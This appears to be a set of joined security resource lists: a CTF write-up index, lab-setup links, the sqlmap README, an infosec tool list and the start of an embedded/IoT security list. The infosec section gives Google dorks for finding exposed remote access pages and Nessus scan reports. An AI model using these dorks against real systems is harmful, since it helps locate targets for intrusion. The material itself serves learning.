[shs2k19CTF-Forensics-Foc01](http://ctf.securityhighschool.es/challenges?category=forense) | [Writeup-Foc01-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/shs2k19CTF/forense/foc01) | [VT URL Scan](https://www.virustotal.com/gui/url/02e11e06ed2ceb3153b32e1aa5bac034fd7d3bd4d695c0a88d0d71ba1c1be02d/detection) | | | [shs2k19CTF-Crypto-Cryp01](http://ctf.securityhighschool.es/challenges?category=crypto) | [Writeup-Crypto01-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/shs2k19CTF/crypto/cryp01) | [VT URL Scan](https://www.virustotal.com/gui/url/a9ff318477de194f4bb57105955cd1206b4e614971d374b55fe29bd3eac70ff5/detection) | | | [JASYPCTF19-Crypto-Rollo de papel](https://ctf.interferencias.tech/challenges#Rollo%20de%20papel) | [Writeup-Rollo de papel-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/JASYPCTF19/crypto/rollo_de_papel) | [VT URL Scan](https://www.virustotal.com/gui/url/e2752563e3f6d25eef5db4bda0b32cba710bf06d9085cb0b9dd9f569439a443d/detection) | | | [JASYPCTF19-Stego-Gatito Precioso](https://ctf.interferencias.tech/challenges#Gatito%20precioso) | [Writeup-Gatito Precioso-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/JASYPCTF19/stego/gatito_precioso) | [VT URL Scan](https://www.virustotal.com/gui/url/d590caf2eb49aee6698a262f47b777016cc61127a7007387fa35a2fdafefe354/detection) | | | [JASYPCTF19-Stego-Perro Maligno](https://ctf.interferencias.tech/challenges#Perro%20maligno) | [Writeup-Perro_Maligno-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/JASYPCTF19/stego/perro_maligno) | [VT URL Scan](https://www.virustotal.com/gui/url/89ad8d5ea881fda6462a4e16556b03c080631a35d61ef9f39dae33c74fec1a13/detection) | | | [JASYPCTF19-Stego-Nos LLaman](https://ctf.interferencias.tech/challenges#Nos%20llaman) | [Writeup-Nos_llaman-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/JASYPCTF19/stego/nosllaman) | [VT URL Scan](https://www.virustotal.com/gui/url/50d9d90db59bd00c54d7bae856df2c371e5c255fc7140c2404b53f7e9a2d4ec9/detection) | | | [HTB-Machines-Netmon](https://www.hackthebox.eu/home/machines/profile/177) | [Walkthrough-HTB-Netmon-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/blob/master/HTB/Machines/HTB-Machine-Netmon-Walkthrough-1v4n-Released.pdf) | [66d85aa5a8a36f0bc9a6a60c2c2f60ff](https://www.virustotal.com/gui/file/dbd00668d3bfebe80c6b57a36c711c751790f3b9c9eb5c538dca0c668aafc4a1/details) | [Interferencias-HTB Machine Walkthrough: Netmon](https://interferencias.tech/2019/06/30/htb-netmon/) | | [JASYPCTF19-Forensics-Cuantas contraseñas](https://ctf.interferencias.tech/challenges#Cuantas%20contrase%C3%B1as) | [Writeup-Forensics-Cuantas contraseñas](https://github.com/1r0dm480/CTF-Wr1T3uPs/blob/master/JASYPCTF19/forensic/cuantas_contrase%C3%B1as/) | [VT URL Scan](https://www.virustotal.com/gui/url/0bcb0ab3f70394db62cc927a673ad2c6233488bb6ebdea32e1e6896a24bdbdd1/detection) | [Honey Sec WRITEUP - JASYP19 - Challenges - Cuantas contraseñas](https://honeysec.blogspot.com/2019/06/writeup-jasyp19-challenges-cuantas.html) | | [JASYPCTF19-Forensics-Nice port](https://ctf.interferencias.tech/challenges#Nice%20port) | [Writeup-stephanography-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/JASYPCTF19/forensic/nice_port) | [VT URL Scan](https://www.virustotal.com/gui/url/9cb73359a0a23ddcc2317eb5b3d4cf61ffb4c98d96bdd146fbd9d1013d31a594/detection) | | | [CSACTF19-misc-stephanography](https://ctftime.org/task/8674) | [Writeup-stephanography-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/CSACTF19/misc/stephanography) | [VT URL Scan](https://www.virustotal.com/gui/url/a0fd77f8df5d832afd7460c9522c1b739c2565705f4d5645ebf86a10c6d03681/detection) | [Honey Sec WRITEUP Challenge stephanography](https://honeysec.blogspot.com/2019/05/writeup-csactf19-challenges.html) | | [CSACTF19-misc-A_game_of_apples](https://ctftime.org/task/8594) | [Writeup-A_game_of_apples-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/CSACTF19/misc/a_game_of_apples) | [VT URL Scan](https://www.virustotal.com/gui/url/7a5b04bedf1d0c2ab4f923d3c0b7f11e025dea2beef370a185d1329a05a45263/detection) | [CTFTime-A_game_of_apples-1v4n](https://ctftime.org/writeup/15391) | | [CSACTF19-forensics-Zippy](https://ctftime.org/task/8453) | [Writeup-Zippy-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/CSACTF19/forensics/Zippy) | [VT URL Scan](https://www.virustotal.com/gui/url/e32183587f49bccdbcd6f77d2e67123f2f86f59c86e9f56e953199b86c0c7007/detection) | [CTFTime-Zippy-1v4n](https://ctftime.org/writeup/15392) | | [CSACTF19-misc-linux1](https://ctftime.org/task/8453) | [Writeup-linux1-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/CSACTF19/misc/linux1) | [VT URL Scan](https://www.virustotal.com/gui/url/7a5b04bedf1d0c2ab4f923d3c0b7f11e025dea2beef370a185d1329a05a45263/detection) | [Honey Sec WRITEUP Challenge Linux](https://honeysec.blogspot.com/2019/05/writeup-challenge-linux-201-by-1r0dm448o.html) | | [BBCTF19-Crypto-oldschool](https://ctftime.org/task/8187) | [Writeup-oldschool-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/BBCTF19/crypto/oldschool) | [VT URL Scan](https://www.virustotal.com/gui/url/712465627b3f8f49cbb243a02f60746f5299a573f1af751f4f528b5f06154a98/detection) | [CTFTime-oldschool-1v4n](https://ctftime.org/writeup/15246) | | [BBCTF19-Crypto-RivestShamirAdleman](https://ctftime.org/task/8187) | [Writeup-RivestShamirAdleman-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/BBCTF19/crypto/RivestShamirAdleman) | [VT URL Scan](https://www.virustotal.com/gui/url/7b6329b72e02d5af9db9e0a4554bf1bcf5005f956d217980600f4e8b265e4e6a/detection) | [CTFTime-RivestShamirAdleman-1v4n](https://ctftime.org/writeup/15241) | | [b00t2root19-Crypto-Genetics](https://ctftime.org/task/7932) | [Writeup-Genetics-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/b00t2root19/Crypto/Genetics) | [VT URL Scan](https://www.virustotal.com/gui/url/75bfa665a30e4ba742b4d19bfaf794460e966c945de820ad17f4b774dec20f7d/detection) | [Honey Sec WRITEUP Genetics (Crypto) b00t2root CTF](https://honeysec.blogspot.com/2019/04/genetics-httpipchallengesgenetics.html) | | [b00t2root19-Linux-Steve Rogers](https://ctftime.org/task/7932) | [Writeup-Steve Rogers-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/b00t2root19/Linux/steve_rogers) | [VT URL Scan](https://www.virustotal.com/gui/url/7fbbb74be159055cabc07e25f38962919a69504b714a94c3afb6474a10a58b45/detection) | [CTFTime-b00t2root19-Steve Rogers-1v4n](https://ctftime.org/writeup/14621) | | [b00t2root19-Forensics-loopback](https://ctftime.org/task/7939) | [Writeup-loopback-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/b00t2root19/Forensics/loopback) | [VT URL Scan](https://www.virustotal.com/gui/url/d475aa2b714ce04094568ac763597f17e3934a94b6827cf22dab562ebd6a5b34/detection) | [CTFTime-b00t2root19-loopback-1v4n](https://ctftime.org/writeup/14597) | | [b00t2root19-Forensics-key_me_baby](https://ctftime.org/task/8149) | [Writeup-key_me_baby-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/b00t2root19/Forensics/key_me_baby) | [VT URL Scan](https://www.virustotal.com/gui/url/e42e81f44f117c41d925ca62b4794d1c8c6a2db2a526e7bdaeb621ecd6c92f16) | [CTFTime-b00t2root19-key_me_baby-1v4n](https://ctftime.org/writeup/14251) | | [b00t2root19-Crypto-cuz_rsa_is_lub](https://ctftime.org/event/780/tasks/) | [Writeup-rsa_is_lub-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/b00t2root19/Crypto/cuz_rsa_is_lub) | [VT URL Scan](https://www.virustotal.com/gui/url/9c48d31113e0843117ed116b6072e7b689d6b2bbb3153f79e0e113743a4d4423) | [CTFTime-b00t2root19-rsa_is_lub-1v4n](https://ctftime.org/writeup/14251) | | [HTB-Machines-Curling](https://www.hackthebox.eu/home/machines/profile/160) | [Walkthrough-HTB-Curling-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/blob/master/HTB/Machines/HTB-Machine-Curling-Walkthrough-1v4n-Released.pdf) | [72cc35cb342e11bca1d095c83214cd08](https://www.virustotal.com/#/file/2361d1e48b5451e060c608d351915f1a3402365e7e713588e4a4451f577126d7/) | [Honey Sec-HTB-Machine Walkthrough-Curling](https://honeysec.blogspot.com/2019/03/htb-machine-walkthrough-curling.html) | | [Hackplayers-Reto 27-boot2root-Karim](https://www.hackplayers.com/2018/09/reto-27-boot2root-karim.html) | [Solución-Reto 27-Boot2root-Karim-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/blob/master/Hackplayers/Machines/HackPlayers-Reto-27-boot2root-Walkthrough-Karim.pdf) | [455aa41c667502619f85936e992e0a9e](https://www.virustotal.com/#/file/2e7b3fb009f859a607fa37536d6d09da96b034b5c1227b636d883c02c9e04f25/) | [Solución-Reto 27-Boot2root-Karim-1v4n](https://www.hackplayers.com/2018/09/solucion-al-reto-27-boot2root-karim.html) | | [HTB-Machines-Olympus](https://www.hackthebox.eu/home/machines/profile/135) | [Walkthrough-HTB-Olympus-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/blob/master/HTB/Machines/HTB-Machine-Olympus-Walkthrough-1v4n-Released.pdf) | [ f3a9a988cdab32763816e1abf6975756](https://www.hybrid-analysis.com/sample/ffe715aacbbea2756aa3564c0d03e6dc4f57b9ee39631f91f1daa5c28f006797) | [Fwhibbit-HTB-Writeup–Olympus](https://www.fwhibbit.es/htb-write-up-olympus-por-1r0dm48o) | | [HTB-Machines-Jerry](https://www.hackthebox.eu/home/users/profile/56686) | [Walkthrough-HTB-Jerry-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/blob/master/HTB/Machines/HTB-Machine-Jerry-Walkthrough-Jerry-1v4n-Released.pdf) | [9496fc01055a9bcae00b894a43dc7abd](https://www.hybrid-analysis.com/sample/995b160658c5bfb76d1bf9f0beb450f0e2f024c7e3b77774e9074176a447d589) | [Hackplayers-HTB-repo-1v4n](https://github.com/Hackplayers/hackthebox-writeups/blob/master/machines/Jerry/1v4n-jerry.pdf) | | [UAM-Silicon Valley-Ep1](https://unaaldia.hispasec.com/2018/04/una-al-mes-mision006.html) | [Writeup-UAM-Silicon Valley-Ep1-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/blob/master/UAM/SiliconValley/Episodio1/Writeup-UAM-Silicon_Valley-Ep1-1v4n.pdf) | [39a227d42c46a5ecdefcad17be3bfc3a](https://www.virustotal.com/gui/file/bfa1677d871450330739b6a163ee7fddb40d874098cc49286d8d5ca053711eb1) | [Writeup-UAM-repo-Silicon Valley-Ep1-1v4n](https://github.com/devploit/unaalmes-writeups/blob/master/writeups/siliconvalley/episodio1/1v4n/1v4n-episodio1.pdf) | | [UAM-Misión 006](https://unaaldia.hispasec.com/) | [Writeup-UAM-Mission06-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/blob/master/UAM/UAM-Mision06/Writeup-UAM-Misi%C3%B3n%23006-1v4n.pdf) | [7e5458ad667bd4f2721a46c54e5966c3](https://www.virustotal.com/gui/file/09a85991d9c96622cbd9e85c71f79b4270b81748f9763a031524821edbc18203) | [Writeup-Mission06-UAM-repo-1v4n](https://github.com/devploit/unaalmes-writeups/blob/master/writeups/missions/mission06/1v4n/1v4n-mission06.txt) | | [UAM-Misión 002](http://unaaldia.hispasec.com/2017/12/segunda-entrega-una-al-mes-mision-002.html) | [Writeup-UAM-Mission02-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/UAM/UAM-Mision02) | [VT URL Scan](https://www.virustotal.com/gui/url/ec4d5deb2928c50f9a82b0489358febd729be63b8b60607fb0aec3d78ee6a0df/detection) | [Writeup-Mission02-UAM-repo-1v4n](https://github.com/devploit/unaalmes-writeups/blob/master/writeups/missions/mission02/1v4n/1v4n-mission02.txt) |
# SetupHelpDesk(Under Development) Index | Contents --- | --- ResetHacker | [Hacker Daily Utility and OSINT](https://github.com/RESETHACKER-COMMUNITY/Resources/blob/main/setup/HackersUtilities.md) Crhuber | [Linix Cheetsheet ](https://github.com/crhuber/linux-cheatsheet) 0xblackbird - Developer Tools | [Developer Tools for bugbounty hunters](https://0xblackbird.github.io/blog/post4) Hakluke | [How-to-exit-vim](https://github.com/hakluke/how-to-exit-vim) Nahamsec - Recon_profile | [Create easy aliases to run via an SSH/terminal.](https://github.com/nahamsec/recon_profile) Nahamsec - BugBounty Tookit| [BBHT is a script to install the most popular tools](https://github.com/nahamsec/bbht) Aseem Shrey - Bug bounty Setups in any VPS | [Quick script to install and setups Setup Bug Bounty Tools on AWS instance / any VPS for that matter](https://gist.github.com/LuD1161/66f30da6d8b6c1c05b9f6708525ea885) HackerSploit - Docker for Bug Hunters | [Docker For Pentesting & Bug Bounty Hunting](https://www.youtube.com/watch?v=rfXadJ72dhg) Phoenixnap - Hyper-V for Bug Hunters |[Hyper-v configuration and install ubuntu](https://phoenixnap.com/kb/hyper-v-ubuntu) Vikram - BB_Setup in Windows(WSL2) | [Bug bounty setup in Window 10 & 11 with WSL2 ](https://github.com/RESETHACKER-COMMUNITY/Resources/tree/main/BB_Setup%20in%20WSL2) Vikram - Burpsuite Setup and useses | [Penetration Testing with Burp (ft.: Raj chandel's blog and @Ignitetechnologies)](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/blob/main/Bugbounty/burpsuite.md) Fernando Guisso | [Demonstration of how to use Github Actions to automate a Recon](https://guisso.dev/posts/github-actions-recon-en/) Updating - Pentesting setup in VM machine Updating - Pentesting setup in VMware ------------------------------------------------------------------------------------------------------------------------------------------------------------- Index | Contents --- | --- Sleeplessbeastie's Notes | [Install CouchDB](https://sleeplessbeastie.eu/2020/03/20/how-to-install-couchdb/) Raj Chandel - Cloud Computing Setup | [Penetration Testing Lab Setup: Apache2, MariaDB Server,PHP and its modules, Create OwnCloud Database setup and configuration using Ubuntu, docker and VM](https://www.hackingarticles.in/penetration-testing-lab-setupcloud-computing/) Raj Chandel - Web Server Lab Setup | [Penetration Testing Lab Setup: Apache, PHP, MySQL, phpMyAdmin setup and configuration using Ubuntu, docker and VM](https://www.hackingarticles.in/web-server-lab-setup-for-penetration-testing/) Jayson Grace - GCP Setups | [DevSecOps lab SetUp:Install gcloud on MacOS & Ubuntu](https://techvomit.net/gcp-cheatsheet/) Jayson Grace - AZURE Setups | [DevSecOps lab SetUp:Install AZURE CLI on MacOS & Linux](https://techvomit.net/azure-cheatsheet/) Jayson Grace - Elasticsearch Setup | [DevSecOps lab SetUp:Install Elasticsearch - a search engine based on the Lucene library.](https://techvomit.net/elk/) Raj Chandel - Jenkin Steup | [DevSecOps Lab Setup:Install Java and setup Jenkin in Ubuntu](https://www.hackingarticles.in/penetration-testing-lab-setup-jenkins/) Jayson Grace - Password Managers Setups | [DevSecOps Lab Setup:Install Keeper CLI client & LastPass](https://techvomit.net/password-managers/) Jayson Grace - Terraform Setup | [DevSecOps Lab Setup:Install Terraform on Ubuntu 20.04](https://techvomit.net/terraform-cheatsheet/) Raj Chandel - Apache Tomcat setup | [Penetration Testing Lab Setup:Tomcat on any Linux Machine](https://www.hackingarticles.in/penetration-testing-lab-setuptomcat/) Raj Chandel - Memcached lab setup | [Penetration Testing Lab Setup: pen-testing in Memcached (Ubuntu 18.04.) ](https://www.hackingarticles.in/penetration-testing-lab-setup-memcached/) Raj Chandel - Web Proxy Lab Setup Testing using Squid | [Penetration Testing Lab Setup: Squid Proxy](https://www.hackingarticles.in/penetration-testing-lab-setup-squid-proxy/)) Raj Chandel - Microsocks Lab setup | [Penetration Testing Lab Setup: Microsocks](https://www.hackingarticles.in/penetration-testing-lab-setup-microsocks/) Raj Chandel - telnetd Setup & configure | [Penetration Testing on Telnet (Port 23)](https://www.hackingarticles.in/penetration-testing-lab-setuptomcat/) ------------------------------------------------------------------------------------------------------------------------------------------------------------- Index | Policy , Guide, benchmarks etc Contents --- | --- Consortium for Educational Communication(CEC) | [Cyber Laws in India -](https://www.youtube.com/watch?v=Vbqi0z_48bA) Edoverflow | [A Deeper Look at Hacking Laws - video ](https://www.youtube.com/watch?v=Q5kIdpPIVuY) Philippe Lagadec - security hardening guides | [A collection of awesome security hardening guides, best practices, checklists, benchmarks, tools and other resources.](https://github.com/decalage2/awesome-security-hardening)
sqlmap == sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki. Installation ---- You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with [Python](http://www.python.org/download/) version '''2.6.x''' and '''2.7.x''' on any platform. Usage ---- To get a list of basic options and switches use: python sqlmap.py -h To get a list of all options and switches use: python sqlmap.py -hh You can find sample runs [here](https://gist.github.com/stamparm/5335217). To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki). Links ---- * Homepage: http://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users * Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [#1](http://www.youtube.com/user/inquisb/videos) and [#2](http://www.youtube.com/user/stamparm/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
# InfoSec Resources ## Tools ### General - https://www.metasploit.com/ - https://www.zaproxy.org/ - https://nmap.org/ - https://www.metasploit.com/ - https://www.wireshark.org/ - https://portswigger.net/burp - https://www.wigle.net/ - https://www.openwall.com/john/ - https://www.aircrack-ng.org/ - https://finchsec.com/courses/wifi-exploitation-101/ - https://github.com/aircrack-ng/aircrack-ng - [email protected]:xwmx/airport.git - `netstat` for checking all active ports - Wireshark - Sniff packets in local machine or network ### Grouped 1. Vulnerability Assessment and Management: a. **Nessus**: A vulnerability scanner that identifies potential weaknesses in networks, systems, and applications. b. **OpenVAS**: An open-source vulnerability scanner and manager with a large database of plugins. c. **Qualys**: A cloud-based platform for vulnerability management, compliance, and web application security. 2. Intrusion Detection and Prevention Systems (IDS/IPS): a. **Snort**: An open-source network intrusion detection and prevention system. b. **Suricata**: A high-performance network IDS/IPS with multi-threading capabilities. c. **Zeek** (formerly Bro): A powerful network security monitoring tool with deep protocol analysis. 3. Security Information and Event Management (SIEM): a. **Splunk**: A data analytics platform that provides real-time monitoring, log management, and threat intelligence. b. **LogRhythm**: An integrated platform for threat detection, response, and compliance. c. **OSSIM**: An open-source SIEM solution that combines multiple security tools and intelligence feeds. 4. Network Firewalls: a. **pfSense**: An open-source firewall and router solution based on FreeBSD. b. **Fortinet**: A range of high-performance, integrated security appliances for various network sizes. c. **Cisco ASA**: A series of adaptive security appliances for enterprises, providing firewall, VPN, and intrusion prevention services. 5. Endpoint Protection: a. **Microsoft Defender**: An antivirus and endpoint protection solution, integrated with Windows operating systems. b. **Symantec Endpoint Protection**: A comprehensive endpoint security solution, providing antivirus, firewall, and intrusion prevention. c. **CrowdStrike Falcon**: A cloud-based endpoint protection platform, offering next-gen antivirus, endpoint detection and response (EDR), and threat intelligence. 6. Web Application Firewalls (WAF): a. **ModSecurity**: An open-source WAF that protects web applications from common threats like SQL injection and cross-site scripting (XSS). b. **Cloudflare**: A cloud-based WAF, offering protection against DDoS attacks and other web application threats. c. **Imperva**: A WAF solution providing protection for applications, data, and APIs from various attack vectors. 7. Encryption and Privacy Tools: a. **OpenSSL**: An open-source toolkit for implementing the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols. b. **GnuPG**: An open-source implementation of the OpenPGP standard, allowing secure communication and data encryption. c. **VeraCrypt**: A free, open-source disk encryption software for protecting sensitive data. 8. Password Management and Authentication: a. **LastPass**: A cloud-based password manager for securely storing and managing passwords. b. **KeePass**: An open-source password manager, allowing users to store and manage passwords in an encrypted database. c. **Duo Security**: A multi-factor authentication solution that verifies users' identities before granting access to applications. 9. Digital Forensics and Incident Response (DFIR): a. **Autopsy**: An open-source digital forensics platform for analyzing disk images, file systems, and memory dumps. b. **Volatility**: An open-source memory forensics framework for incident response and malware analysis. c. **EnCase**: A digital forensics and e-discovery software, widely used by law enforcement and corporate security teams. 10. Penetration Testing: a. **Kali Linux**: A Linux distribution designed for penetration testing, with preinstalled security tools like Metasploit, Nmap. ## Google Hacking - Type `allinurl:tsweb/default.htm` in google, returns Remote access connection pages. - Type `"intitle:NEssus Scan Report" "This file was generated by nessus"` in google, returns vulnerability scans. - https://www.exploit-db.com/google-hacking-database - https://github.com/laramies/metagoofil - https://github.com/laramies/theharvester - https://github.com/xmendez/wfuzz ## Web Mirroring / Website footprinting - [HTTrack](www.httrack.com) - [Black Widow](https://softbytelabs.com/wp/) - [WebRippter](https://webripper.software.informer.com/download/ (Not OFFICIAL DOWNLOAD) - [Backstreet Browser](http://www.spadixbd.com/) - [Use WGET](https://bash-prompt.net/guides/wget-mirror-website/) ## Podcasts - https://darknetdiaries.com/ ## Learn - https://www.hackthebox.com/ - https://www.itpro.tv/ ## Social Engineering - [SEF: Social Engineering Franework BOOK](https://subscription.packtpub.com/book/security/9781788837927/1/ch01lvl1sec04/the-social-engineering-framework) - https://www.maltego.com/downloads/ ## Others - https://cloudsecurityalliance.org/ - https://radar.cncf.io/2021-09-devsecops - https://www.microsoft.com/en-us/securityengineering - https://www.microsoft.com/en-us/securityengineering/opensource/ - [OOSTMM - Open Source Security Testing Methodology Manual](https://www.isecom.org/research.html) - https://www.tenable.com/products/nessus - [Way Back Machine](www.archive.org) - (In history, some interesting formation can be found on company sites or so) - [Website watcher](https://www.aignes.com/) - Wath websites and notify if anything changes - https://www.shodan.io/ - Find anything connected ## Vulnerability Databases - technet.microsoft.com - www.securityfocus.com - www.hackerstorm.co.uk - www.exploit-db.com - www.securitymagazine.com - www.trendmicro.com - www.darkreading.com
<div align="center"> <img width="500" height="350" src="iot_awesome_logo.svg" alt="Awesome"> <br /> </div> # Awesome Embedded and IoT Security [![Awesome](https://awesome.re/badge.svg)](https://awesome.re) > A curated list of awesome resources about embedded and IoT security. The list contains software and hardware tools, books, research papers and more. Botnets like [Mirai](https://en.wikipedia.org/wiki/Mirai_(malware)) have proven that there is a need for more security in embedded and IoT devices. This list shall help beginners and experts to find helpful resources on the topic. If you are a beginner, you should have a look at the [Books](#books) and [Case Studies](#case-studies) sections. If you want to start right away with your own analysis, you should give the [Analysis Frameworks](#analysis-frameworks) a try. They are easy to use and you do not need to be an expert to get first meaningful results. > *Items marked with :euro: are comercial products.* ## Contents - [Software Tools](#software-tools) - [Analysis Frameworks](#analysis-frameworks) - [Analysis Tools](#analysis-tools) - [Extraction Tools](#extraction-tools) - [Support Tools](#support-tools) - [Misc Tools](#misc-tools) - [Hardware Tools](#hardware-tools) - [Books](#books) - [Research Papers](#research-papers) - [Case Studies](#case-studies) - [Free Training](#free-training) - [Websites](#websites) - [Blogs](#blogs) - [Tutorials and Technical Background](#tutorials-and-technical-background) - [Conferences](#conferences) ## Software Tools Software tools for analyzing embedded/IoT devices and firmware. ### Analysis Frameworks - [EXPLIoT](https://gitlab.com/expliot_framework/expliot) - Pentest framework like Metasploit but specialized for IoT. - [FACT - The Firmware Analysis and Comparison Tool](https://fkie-cad.github.io/FACT_core/) - Full-featured static analysis framework including extraction of firmware, analysis utilizing different plug-ins and comparison of different firmware versions. - [Improving your firmware security analysis process with FACT](https://passthesalt.ubicast.tv/videos/improving-your-firmware-security-analysis-process-with-fact/) - Conference talk about FACT :tv:. - [FwAnalyzer](https://github.com/cruise-automation/fwanalyzer) - Analyze security of firmware based on customized rules. Intended as additional step in DevSecOps, similar to CI. - [HAL – The Hardware Analyzer](https://github.com/emsec/hal) - A comprehensive reverse engineering and manipulation framework for gate-level netlists. - [IoTSecFuzz](https://gitlab.com/invuls/iot-projects/iotsecfuzz) - Framework for automatisation of IoT layers security analysis: hardware, software and communication. - [Killerbee](https://github.com/riverloopsec/killerbee) - Framework for Testing & Auditing ZigBee and IEEE 802.15.4 Networks. - [PRET](https://github.com/RUB-NDS/PRET) - Printer Exploitation Toolkit. - [Routersploit](https://github.com/threat9/routersploit) - Framework dedicated to exploit embedded devices. ### Analysis Tools - [Binwalk](https://github.com/ReFirmLabs/binwalk) - Searches a binary for "interesting" stuff. - [Firmadyne](https://github.com/firmadyne/firmadyne) - Tries to emulate and pentest a firmware. - [Firmwalker](https://github.com/craigz28/firmwalker) - Searches extracted firmware images for interesting files and information. - [Firmware Slap](https://github.com/ChrisTheCoolHut/Firmware_Slap) - Discovering vulnerabilities in firmware through concolic analysis and function clustering. - [Ghidra](https://ghidra-sre.org/) - Software Reverse Engineering suite; handles arbitrary binaries, if you provide CPU architecture and endianness of the binary. - [Radare2](https://github.com/radare/radare2) - Software Reverse Engineering framework, also handles popular formats and arbitrary binaries, has an extensive command line toolset. - [Trommel](https://github.com/CERTCC/trommel) - Searches extracted firmware images for interesting files and information. ### Extraction Tools - [Binwalk](https://github.com/ReFirmLabs/binwalk) - Extracts arbitrary files utilizing a carving approach. - [FACT Extractor](https://github.com/fkie-cad/fact_extractor) - Detects container format automatically and executes the corresponding extraction tool. - [Firmware Mod Kit](https://github.com/rampageX/firmware-mod-kit/wiki) - Extraction tools for several container formats. - [The SRecord package](http://srecord.sourceforge.net/) - Collection of tools for manipulating EPROM files (can convert lots of binary formats). ### Support Tools - [JTAGenum](https://github.com/cyphunk/JTAGenum) - Add JTAG capabilities to an Arduino. - [OpenOCD](http://openocd.org/) - Free and Open On-Chip Debugging, In-System Programming and Boundary-Scan Testing. ### Misc Tools - [Samsung Firmware Magic](https://github.com/chrivers/samsung-firmware-magic) - Decrypt Samsung SSD firmware updates. ## Hardware Tools - [Bus Blaster](http://dangerousprototypes.com/docs/Bus_Blaster) - Detects and interacts with hardware debug ports like [UART](https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter) and [JTAG](https://en.wikipedia.org/wiki/JTAG). - [Bus Pirate](http://dangerousprototypes.com/docs/Bus_Pirate) - Detects and interacts with hardware debug ports like UART and JTAG. - [JTAGULATOR](http://www.grandideastudio.com/jtagulator/) - Detects JTAG Pinouts fast. - [Saleae](https://www.saleae.com/) - Easy to use Logic Analyzer that support many protocols :euro:. - [Ikalogic](https://www.ikalogic.com/pages/logic-analyzer-sp-series-sp209) - Alternative to Saleae logic analyzers :euro:. - [HydraBus](https://hydrabus.com/hydrabus-1-0-specifications/) - Open source multi-tool hardware similar to the BusPirate but with NFC capabilities. - [ChipWhisperer](https://newae.com/chipwhisperer/) - Detects Glitch/Side-channel attacks. - [Glasgow](https://github.com/GlasgowEmbedded/Glasgow) - Tool for exploring and debugging different digital interfaces. - [J-Link](https://www.segger.com/products/debug-probes/j-link/models/model-overview/) - J-Link offers USB powered JTAG debug probes for multiple different CPU cores :euro:. ## Books - 2020, Jasper van Woudenberg, Colin O'Flynn: [The Hardware Hacking Handbook: Breaking Embedded Security with Hardware Attacks](https://www.amazon.com/Hardware-Hacking-Handbook-Breaking-Embedded-ebook/dp/B077WZBFYL) - 2019, Yago Hansen: [The Hacker's Hardware Toolkit: The best collection of hardware gadgets for Red Team hackers, Pentesters and security researchers](https://github.com/yadox666/The-Hackers-Hardware-Toolkit/blob/master/TheHackersHardwareToolkit.pdf) - 2019, Aditya Gupta: [The IoT Hacker's Handbook: A Practical Guide to Hacking the Internet of Things](https://www.apress.com/us/book/9781484242995) - 2018, Mark Swarup Tehranipoor: [Hardware Security: A Hands-on Learning Approach](https://www.elsevier.com/books/hardware-security/bhunia/978-0-12-812477-2) - 2017, Aditya Gupta, Aaron Guzman: [IoT Penetration Testing Cookbook](https://www.packtpub.com/networking-and-servers/iot-penetration-testing-cookbook) - 2017, Andrew Huang: [The Hardware Hacker: Adventures in Making and 